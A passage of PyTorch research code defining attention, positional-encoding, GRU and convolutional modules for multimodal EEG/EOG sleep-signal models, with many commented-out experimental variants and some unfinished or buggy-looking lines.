inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.mod_att = Attention(dmodel) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x,"b outer inner mod k -> outer (b inner mod) k ", mod =self.mod, inner =self.inner, b=self.batch) w = self.mod_att(x) x = torch.einsum("ijk,jmi -> mjk", x, w) x = einops.rearrange(x," outer (b inner mod) k -> b outer inner mod k ", b=self.batch, inner=self.inner, mod=self.mod) return x class aggregation_att_inner(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.mod_att = Attention(dmodel*modalities) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x,"b outer inner mod k -> inner (b outer) (mod k) ", mod =self.mod, inner =self.inner, b=self.batch) w = self.mod_att(x) x = torch.einsum("ijk,jmi -> mjk", x, w) x = einops.rearrange(x,"inner (b outer mod) k -> b outer inner mod k ", b=self.batch, outer=self.outer, mod=self.mod) return x class aggregation_att_contx_inner(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.mod_att = Context_Attention(dmodel*modalities, 64) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x,"b outer inner mod k -> (b outer) inner (mod k) ", mod =self.mod, inner =self.inner, b=self.batch) w = self.mod_att(x) x = torch.einsum("ijk,im -> ik", x, w) x = einops.rearrange(x,"(b outer inner) (mod k) -> b outer inner mod k ", b=self.batch, outer=self.outer, mod=self.mod, inner=1) return x class aggregation_att_contx_inner_mod(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.mod_att = Context_Attention(dmodel, 64) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x,"b outer inner mod k -> (b outer) (inner mod) k", mod =self.mod, inner =self.inner, b=self.batch) w = self.mod_att(x) x = torch.einsum("ijk,im -> ik", x, w) x = einops.rearrange(x,"(b outer inner mod) k -> b outer inner mod k ", b=self.batch, outer=self.outer, mod=1, inner=1) return x class aggregation_att_contx_mod(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.mod_att = Context_Attention(dmodel, 64) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x,"b outer inner mod k -> (b outer inner) mod k ", mod =self.mod, inner =self.inner, b=self.batch) w = self.mod_att(x) x = torch.einsum("ijk,im -> ik", x, w) x = einops.rearrange(x,"(b outer inner mod) k -> b outer inner mod k ", b=self.batch, outer=self.outer, mod=1, inner=self.inner) return x class aggregation_att_mod(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.mod_att = Attention(dmodel) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x,"b outer inner mod k -> mod (inner outer b) k ", mod =self.mod, inner =self.inner, b=self.batch) w = self.mod_att(x) x = torch.einsum("ijk,jmi -> mjk", x, w) x = einops.rearrange(x,"mod (inner outer b) k -> b outer inner mod k -> ", inner =self.inner, b=self.batch) return x class fourier_pos(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = Fourier_Sleep_PositionalEncoder(dmodel, outer, inner, modalities) def forward(self, x): return self.pos(x) class huy_pos_inner(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = PositionalEncoding_AIAYN(dmodel) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x, "b outer inner mod k -> (b outer mod) inner k") x = self.pos(x) x = einops.rearrange(x, "(b outer mod) inner k -> b outer inner mod k", b = self.batch, outer = self.outer, mod = self.mod) return x class huy_pos_outer(nn.Module): def __init__(self, dmodel, pos, inner, outer, modalities, num_layers=1, heads=8): super().__init__() self.pos = PositionalEncoding_AIAYN(dmodel) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x, "b outer inner mod k ->(b inner mod) outer k") x = self.pos(x) x = einops.rearrange(x, "(b inner mod) outer k -> b outer inner mod k", b = self.batch, inner = self.inner, mod = self.mod) return x class Multi_Transformer(nn.Module): def __init__(self, dmodel, pos, inner, outer, layers = ["inner_att", "outer_att"], modalities =1, num_layers=1, heads=8): super().__init__() self.pos = pos self.layers = layers for layer in self.layers: setattr(self, layer, globals()[layer](dmodel, pos, inner, outer, modalities, num_layers, heads)) def forward(self,x): for layer in self.layers: this_layer = getattr(self, layer) x = this_layer(x) return x class Attention(nn.Module): def __init__(self, hidden_size): super(Attention, self).__init__() self.hidden_size = hidden_size self.attn = nn.Linear(self.hidden_size * 2, hidden_size) self.v = nn.Parameter(torch.rand(hidden_size)) stdv = 1. / math.sqrt(self.v.size(0)) self.v.data.uniform_(-stdv, stdv) self.softmax = nn.Softmax(dim=1) def forward(self, hidden): # timestep = hidden.size(0) # h = hidden.repeεat(timestep, 1, 1).transpose(0, 1) # print(h.shape) hidden = hidden.transpose(0, 1) # [B*T*H] attn_energies = self.score(hidden, hidden) return self.softmax(attn_energies).unsqueeze(1) def score(self, hidden, encoder_outputs): # [B*T*2H]->[B*T*H] energy = F.relu(self.attn(torch.cat([hidden, encoder_outputs], 2))) energy = energy.transpose(1, 2) # [B*H*T] v = self.v.repeat(encoder_outputs.size(0), 1).unsqueeze(1) # [B*1*H] energy = torch.bmm(v, energy) # [B*1*T] return energy.squeeze(1) # [B*T] class Context_Attention(nn.Module): def __init__(self, hidden, attention_size=64): super().__init__() self.attention_size = attention_size self.attn = nn.Linear(hidden, attention_size) self.ae = nn.Parameter(torch.rand(attention_size)) self.softmax = nn.Softmax(dim=1) self.tanh= nn.Tanh() def forward(self, x): # batch x = self.tanh(self.attn(x)) ae = self.ae.repeat(x.size(0), 1).unsqueeze(1) x = einsum("bij, bmj-> bi",x,ae) x = self.softmax(x) return x class EEG_TransferTransformer_Fusion(nn.Module): def __init__(self, dec, transformer_type): super().__init__() dmodel = 76 # self.embedding = nn.Sequential( # nn.Linear(dmodel, dmodel), # nn.ReLU(), # nn.Linear(dmodel, 128) # ) dmodel = 128 # self.latent = nn.Parameter(torch.randn(16, 8, dmodel)) # self.cls_token = nn.Parameter(torch.randn(1, 8, dmodel)) self.pos_inner = PositionalEncoder(d_model=dmodel, same_time_step=1) # transformer_type = globals()[transformer_type] modalities = 1 enc = nn.TransformerEncoderLayer(dmodel, nhead=8) self.inner_att = nn.TransformerEncoder(enc,4) self.inner_att = nn.GRU(dmodel,num_layers=4) self.pos_outer = PositionalEncoder(d_model=dmodel*modalities, same_time_step=1) enc_outer = nn.TransformerEncoderLayer(dmodel*modalities, nhead=8) self.outer_att = nn.TransformerEncoder(enc_outer,4) self.outer_att = nn.GRU(dmodel, num_layers=3) # self.avg = nn.AvgPool2d((1,113)) def forward(self, x): x_shape = x.shape if (len(x_shape)>3): x = x.flatten(start_dim=0,end_dim=1) # print(x.shape) x = self.pos_inner(x).permute(1,0,2) # print(x.shape) # xeog = self.conv_eog(xeog) # x = torch.cat([xeeg,xeog],dim=2) # x = self.pos(x.flatten(start_dim=2).permute(0, 2, 1)).permute(0, 2, 1).view(x_inner_shape) x = self.inner_att(x) # print(x.shape) x = x.permute(1,2,0).mean(-1) # average pooling x = x.view([x_shape[0], x_shape[1], -1]) x = self.pos_outer(x.permute(1,0,2)).permute(1,0,2) x = self.outer_att(x) # print(x.shape) # x = self.avg(x).flatten(start_dim=1) # x = x.view([x_shape[0],x_shape[1], -1]).permute(1,0,2) # x = self.outer_att(x).permute(1,0,2).unsqueeze(dim=2) return x class EEG_Embedding_Fusion_EDF(nn.Module): def __init__(self, dec, transformer_type): super().__init__() dmodel = 23 #76 # self.embedding = nn.Sequential( # nn.Linear(dmodel, dmodel), # nn.ReLU(), # nn.Linear(dmodel, 16) # ) pad = 1 if dec>1 else 0 filters = int(128/dec) self.embedding = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 64, kernel_size=(1, 7), stride=(1, 3)), nn.ReLU(), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(64, 128, kernel_size=(1, 7), stride=(1, 3)), nn.ReLU(), nn.ReflectionPad2d((2, 2, pad, pad)), nn.Conv2d(128, 128, kernel_size=(dec, 5), stride=(1, 2)), nn.ReLU(), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(128, filters, kernel_size=(dec, 5), stride=(1, 2)), nn.ReLU(), ) # self.embedding = nn.Sequential( # nn.Conv3d(1, 64, kernel_size=(5, 1, 5), padding=(2, 0, 2), stride=(2, 1, 1)), # nn.ReLU(), # nn.Conv3d(64, 128, kernel_size=(5, 2, 3), padding=(0, 1, 1), stride=(2, 1, 1)), # nn.ReLU(), # nn.Conv3d(128, 16, kernel_size=(3, 2, 3), padding=(0, 0, 1), stride=(2, 1, 1)), # nn.ReLU() # ) def forward(self, x): # x = x.unsqueeze(dim=1) print(x.shape) x = self.embedding(x) print(x.shape) return x class EEG_TransferGRU(nn.Module): def __init__(self, dec, transformer_type): super().__init__() dmodel = 128 modalities = 1 self.inner_gru = nn.GRU(dmodel, dmodel, num_layers=3, bidirectional=False) self.outer_gru = nn.GRU(dmodel*modalities, dmodel*modalities, num_layers=3, bidirectional=False) # self.avg = nn.AvgPool2d((1,113)) def forward(self, x): x_shape = x.shape if (len(x_shape)>3): x = x.flatten(start_dim=0,end_dim=1) x = x.permute(1,0,2) x, _ = self.inner_gru(x) # print(x.shape) x = x.permute(1,2,0).mean(-1) # average pooling x = x.view([x_shape[0], x_shape[1], -1]) # print(x.shape) x, _ = self.outer_gru(x) # print(x.shape) # x = self.avg(x).flatten(start_dim=1) # x = x.view([x_shape[0],x_shape[1], -1]).permute(1,0,2) # x = self.outer_att(x).permute(1,0,2).unsqueeze(dim=2) return x class EEG_Embedding_EDF(nn.Module): def __init__(self, dec, transformer_type): super().__init__() dmodel = 23 #76 # self.embedding = nn.Sequential( # nn.Linear(dmodel, dmodel), # nn.ReLU(), # nn.Linear(dmodel, 16) # ) self.embedding = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, 128, kernel_size=(1, 5), stride=(1, 2)), nn.ReLU(), nn.ReflectionPad2d((2, 2, 1, 1)), nn.Conv2d(128, 256, kernel_size=(2, 5), stride=(1, 2)), nn.ReLU(), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(256, 256, kernel_size=(2, 5), stride=(1, 2)), nn.ReLU(), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(256, 16, kernel_size=(2, 5), stride=(1, 2)), nn.ReLU(), nn.AvgPool2d(1,13) ) # self.embedding = nn.Sequential( # nn.Conv3d(1, 64, kernel_size=(5, 1, 5), padding=(2, 0, 2), stride=(2, 1, 1)), # nn.ReLU(), # nn.Conv3d(64, 128, kernel_size=(5, 2, 3), padding=(0, 1, 1), stride=(2, 1, 1)), # nn.ReLU(), # nn.Conv3d(128, 16, kernel_size=(3, 2, 3), padding=(0, 0, 1), stride=(2, 1, 1)), # nn.ReLU() # ) def forward(self, x): # x = x.unsqueeze(dim=1) # b, outer = x.shape[0], x.shape[1] # x = einops.rearrange(x,"b outer ch mod inner -> (b outer) ch mod inner ") x = self.embedding(x) # x = einops.rearrange(x,"(b outer) ch mod inner -> b outer ch mod inner ",b =b, outer= outer) return x class EEG_Embedding_EDF_STFT(nn.Module): def __init__(self, dec, transformer_type): super().__init__() dmodel = dec self.embedding = nn.Sequential( nn.Linear(dmodel, dmodel), nn.ReLU(), nn.Linear(dmodel, 64) ) # self.embedding = nn.Sequential( # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d(1, 128, kernel_size=(1, 5), stride=(1, 2)), # nn.ReLU(), # nn.ReflectionPad2d((2, 2, 1, 1)), # nn.Conv2d(128, 256, kernel_size=(2, 5), stride=(1, 2)), # nn.ReLU(), # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d(256, 256, kernel_size=(2, 5), stride=(1, 2)), # nn.ReLU(), # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d(256, 16, kernel_size=(2, 5), stride=(1, 2)), # nn.ReLU(), # ) # self.embedding = nn.Sequential( # nn.Conv3d(1, 64, kernel_size=(5, 1, 5), padding=(2, 0, 2), stride=(2, 1, 1)), # nn.ReLU(), # nn.Conv3d(64, 128, kernel_size=(5, 2, 3), padding=(0, 1, 1), stride=(2, 1, 1)), # nn.ReLU(), # nn.Conv3d(128, 16, kernel_size=(3, 2, 3), padding=(0, 0, 1), stride=(2, 1, 1)), # nn.ReLU() # ) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x,"b outer inner mod k -> b (outer inner) (mod k) ") x = self.embedding(x) x = einops.rearrange(x,"b (outer inner) (mod k) -> b outer inner mod k ", mod =1, inner =self.inner, b=self.batch) return x class EEG_Embedding_EDF_STFT_1(nn.Module): def __init__(self, dec, transformer_type): super().__init__() dmodel = dec self.conv1 = nn.Sequential( nn.ReflectionPad2d((1, 1, 2, 2)), nn.Conv2d(2, 128, kernel_size=(5, 3), stride=(1, 1)), nn.ReLU()) self.conv2 = nn.Sequential( nn.ReflectionPad2d((1, 1, 2, 2)), nn.Conv2d(1, 128, kernel_size=(5, 3), stride=(1, 1)), nn.ReLU()) self.embedding = nn.Sequential( nn.ReflectionPad2d((1, 1, 2, 2)), nn.Conv2d(256, 256, kernel_size=(5, 3), stride=(1, 1)), nn.ReLU(), nn.ReflectionPad2d((1, 1, 2, 2)), nn.Conv2d(256, 1, kernel_size=(5, 3), stride=(1, 1)), nn.ReLU() ) # self.embedding = nn.Sequential( # nn.Conv3d(1, 64, kernel_size=(5, 1, 5), padding=(2, 0, 2), stride=(2, 1, 1)), # nn.ReLU(), # nn.Conv3d(64, 128, kernel_size=(5, 2, 3), padding=(0, 1, 1), stride=(2, 1, 1)), # nn.ReLU(), # nn.Conv3d(128, 16, kernel_size=(3, 2, 3), padding=(0, 0, 1), stride=(2, 1, 1)), # nn.ReLU() # ) def forward(self, xeeg, xeog): x_shape = xeeg.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] xeeg = einops.rearrange(xeeg,"b outer inner mod k -> (b outer) mod k inner ") xeeg = self.conv1(xeeg) xeog = einops.rearrange(xeog,"b outer inner mod k -> (b outer) mod k inner ") xeog = self.conv2(xeog) x = torch.cat([xeeg, xeog], dim=1) x = self.embedding(x) x = einops.rearrange(x,"(b outer) mod k inner -> b outer inner mod k ", mod =1, outer =self.outer, b=self.batch) return x class EEG_Embedding_EDF_STFT_2(nn.Module): def __init__(self, dec, transformer_type): super().__init__() dmodel = dec self.embedding = nn.Sequential( nn.Linear(dmodel, dmodel), nn.ReLU(), nn.Linear(dmodel, 64) ) # self.embedding = nn.Sequential( # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d(1, 128, kernel_size=(1, 5), stride=(1, 2)), # nn.ReLU(), # nn.ReflectionPad2d((2, 2, 1, 1)), # nn.Conv2d(128, 256, kernel_size=(2, 5), stride=(1, 2)), # nn.ReLU(), # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d(256, 256, kernel_size=(2, 5), stride=(1, 2)), # nn.ReLU(), # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d(256, 16, kernel_size=(2, 5), stride=(1, 2)), # nn.ReLU(), # ) # self.embedding = nn.Sequential( # nn.Conv3d(1, 64, kernel_size=(5, 1, 5), padding=(2, 0, 2), stride=(2, 1, 1)), # nn.ReLU(), # nn.Conv3d(64, 128, kernel_size=(5, 2, 3), padding=(0, 1, 1), stride=(2, 1, 1)), # nn.ReLU(), # nn.Conv3d(128, 16, kernel_size=(3, 2, 3), padding=(0, 0, 1), stride=(2, 1, 1)), # nn.ReLU() # ) def forward(self, x): x_shape = x.shape self.batch, self.outer, self.inner, self.mod = x_shape[0], x_shape[1], x_shape[2], x_shape[3] x = einops.rearrange(x,"b outer inner mod k -> b (outer inner) (mod k) ") x = self.embedding(x) x = einops.rearrange(x,"b (outer inner) (mod k) -> b outer inner mod k ", mod =1, inner =self.inner, b=self.batch) return x class EEG_Encoder_best_SEDF_RNN_2(nn.Module): def __init__(self, dec, _): super().__init__() size = 64 self.conv_0_eeg = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, size * dec, kernel_size=(1, 10), stride=(1, 3)), nn.ReLU(), nn.ReflectionPad2d((2, 2, 1, 1)), nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.AvgPool2d(kernel_size=(1, 248)), ) self.conv_0_eog = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, size * dec, kernel_size=(1, 10), stride=(1, 3)), nn.ReLU(), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.AvgPool2d(kernel_size=(1, 248)), ) self.marn = MARN() # D_g, D_p, D_e, D_h, D_a = 150, 150, 100, 100, 100 # self.mnc = Multilogue_Net_CategoricalModel(size * dec, size * dec, size * dec, D_g, D_p, D_e, D_h, n_classes=5, # dropout_rec=0.1, dropout=0.5) def forward(self, x): x_shape = x[0].shape flag_seqtoseq = False if len(x_shape)>4: flag_seqtoseq = True for i in range(len(x)): x[i] = x[i].flatten(start_dim=0, end_dim=1) xeeg = x[0] xeog = x[1] xeeg = self.conv_0_eeg(xeeg).flatten(start_dim=1,end_dim=2).permute(2,0,1).view([x_shape[0],x_shape[1],-1]) xeog = self.conv_0_eog(xeog).flatten(start_dim=1,end_dim=2).permute(2,0,1).view([x_shape[0],x_shape[1],-1]) x = self.marn(xeeg,xeog) # x = torch.cat([xeeg,xeog],dim=2) if flag_seqtoseq: x = x.view([x_shape[0], x_shape[1], -1]) else: x = x.view([x_shape[0],-1]) return x class EEG_Encoder_best_SEDF_only(nn.Module): def __init__(self, dec, _): super().__init__() size = 64 self.conv_0_eeg = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_0_eog = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) # self.conv_1_eeg = nn.Sequential( # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), # nn.ReLU(), # nn.MaxPool2d(kernel_size=(1, 2)), # ) # self.conv_1_eog = nn.Sequential( # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), # nn.ReLU(), # nn.MaxPool2d(kernel_size=(1, 2)), # ) # self.conv_2_eeg = nn.Sequential( # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d( size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)), # nn.ReLU(), # nn.MaxPool2d(kernel_size=(1, 2)), # ) # self.conv_2_eog = nn.Sequential( # nn.ReflectionPad2d((2, 2, 0, 0)), # nn.Conv2d( size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), # nn.ReLU(), # nn.MaxPool2d(kernel_size=(1, 2)), # ) self.conv_1 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_2 = nn.Sequential( nn.ReflectionPad2d((2, 2, 1, 1)), nn.Conv2d(size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_3 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)), nn.ReLU(), ) self.avg = nn.AvgPool2d((1,187)) def forward(self, x): x_shape = x[0].shape flag_seqtoseq = False if len(x_shape)>4: flag_seqtoseq = True for i in range(len(x)): x[i] = x[i].flatten(start_dim=0, end_dim=1) xeeg = x[0] xeog = x[1] xeeg = self.conv_0_eeg(xeeg) xeog = self.conv_0_eog(xeog) x = self.conv_1(torch.cat([xeeg, xeog], dim=2)) # xeeg = self.conv_1_eeg(torch.cat([xeeg[:,:,0,:].unsqueeze(dim=2), x, xeeg[:,:,1,:].unsqueeze(dim=2)], dim=2)) # xeog = self.conv_1_eog(torch.cat([xeog, x], dim=2)) x = self.conv_2(x) # xeeg = self.conv_2_eeg(torch.cat([xeeg[:, :, 0, :].unsqueeze(dim=2), x, xeeg[:, :, 1, :].unsqueeze(dim=2)], dim=2)) # xeog = self.conv_2_eog(torch.cat([xeog, x], dim=2)) x = self.conv_3(x) # print(x.shape) # x = torch.cat([xeeg,x,xeog],dim=2) x = self.avg(x) if flag_seqtoseq: x = x.view([x_shape[0], x_shape[1], -1]) else: x = x.view([x_shape[0],-1]) return x class EEG_Encoder_best_SEDF_3(nn.Module): def __init__(self, dec, _): super().__init__() size = 64 self.conv_0_eeg = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_0_eog = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(1, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_1_eeg = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_1_eog = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_2_eeg = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d( size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_2_eog = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d( size * dec, size * dec, kernel_size=(2, 5), stride=(1, 1)), nn.ReLU(), nn.MaxPool2d(kernel_size=(1, 2)), ) self.conv_2 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(3, 5), stride=(1, 1)), nn.ReLU(), ) self.conv_3 = nn.Sequential( nn.ReflectionPad2d((2, 2, 0, 0)), nn.Conv2d(size * dec, size * dec, kernel_size=(1, 5), stride=(1, 1)), nn.ReLU(), ) self.avg = nn.AvgPool2d((1,187)) def forward(self, x): x_shape = x[0].shape flag_seqtoseq = False if len(x_shape)>4: flag_seqtoseq = True for i in range(len(x)): x[i] = x[i].flatten(start_dim=0, end_dim=1) xeeg = x[0] xeog = x[1] xeeg = self.conv_0_eeg(xeeg) xeog = self.conv_0_eog(xeog) xeeg = self.conv_1_eeg(xeeg) xeog = self.conv_1_eog(xeog) x = self.conv_2(torch.cat([xeeg, xeog], dim=2)) xeeg = self.conv_2_eeg(torch.cat([xeeg[:, :, 0, :].unsqueeze(dim=2), x, xeeg[:, :, 1, :].unsqueeze(dim=2)], dim=2)) xeog = self.conv_2_eog(torch.cat([xeog, x], dim=2)) x = self.conv_3(torch.cat([xeeg, xeog], dim=2)) x = torch.cat([xeeg,x,xeog],dim=2) x = self.avg(x) if flag_seqtoseq: x = x.view([x_shape[0], x_shape[1], -1]) else: x = x.view([x_shape[0],-1]) return x class EEG_Encoder_best_SEDF_Conv1_1(nn.Module): def __init__(self, dec, _): super().__init__() size = 64 self.conv_0_eeg = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(3, size * dec, kernel_size= 5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_0_eog = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2, size * dec, kernel_size= 5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_1_eeg = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2* size * dec, size * dec, kernel_size= 5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_1_eog = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2*size * dec, size * dec, kernel_size= 5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_2_eeg = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2* size * dec, size * dec, kernel_size= 5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_2_eog = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2*size * dec, size * dec, kernel_size= 5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_0 = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(3, 1, kernel_size= 5), nn.ReLU(), ) self.conv_1 = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2 * size * dec, size * dec, kernel_size= 5), nn.ReLU(), ) self.conv_2 = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2 * size * dec, size * dec, kernel_size= 5), nn.ReLU(), ) self.conv_3 = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2 * size * dec, 2*size * dec, kernel_size= 5), nn.ReLU(), ) self.avg = nn.AvgPool1d((187)) def forward(self, x): x_shape = x[0].shape flag_seqtoseq = False if len(x_shape)>4: flag_seqtoseq = True for i in range(len(x)): x[i] = x[i].flatten(start_dim=0, end_dim=1) xeeg = x[0].squeeze(dim=1) xeog = x[1].squeeze(dim=1) x = self.conv_0(torch.cat([xeeg, xeog], dim=1)) xeeg = self.conv_0_eeg(torch.cat([xeeg, x], dim=1)) xeog = self.conv_0_eog(torch.cat([xeog, x], dim=1)) x = self.conv_1(torch.cat([xeeg, xeog], dim=1)) xeeg = self.conv_1_eeg(torch.cat([xeeg, x], dim=1)) xeog = self.conv_1_eog(torch.cat([xeog, x], dim=1)) x = self.conv_2(torch.cat([xeeg, xeog], dim=1)) xeeg = self.conv_2_eeg(torch.cat([xeeg, x], dim=1)) xeog = self.conv_2_eog(torch.cat([xeog, x], dim=1)) x = self.conv_3(torch.cat([xeeg, xeog], dim=1)) x = torch.cat([xeeg,x,xeog],dim=1) x = self.avg(x) if flag_seqtoseq: x = x.view([x_shape[0], x_shape[1], -1]) else: x = x.view([x_shape[0],-1]) return x class EEG_Encoder_best_SEDF_Conv1_2(nn.Module): def __init__(self, dec, _): super().__init__() size = 64 self.conv_0_eeg = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2, size * dec, kernel_size=5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_0_eog = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(1, size * dec, kernel_size=5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_1_eeg = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2 * size * dec, size * dec, kernel_size=5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_1_eog = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2 * size * dec, size * dec, kernel_size=5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_2_eeg = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2 * size * dec, size * dec, kernel_size=5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_2_eog = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2 * size * dec, size * dec, kernel_size=5), nn.ReLU(), nn.MaxPool1d(kernel_size=2), ) self.conv_1 = nn.Sequential( nn.ReflectionPad1d(2), nn.Conv1d(2 * size * dec, size * dec, kernel_size=5), nn.ReLU(), 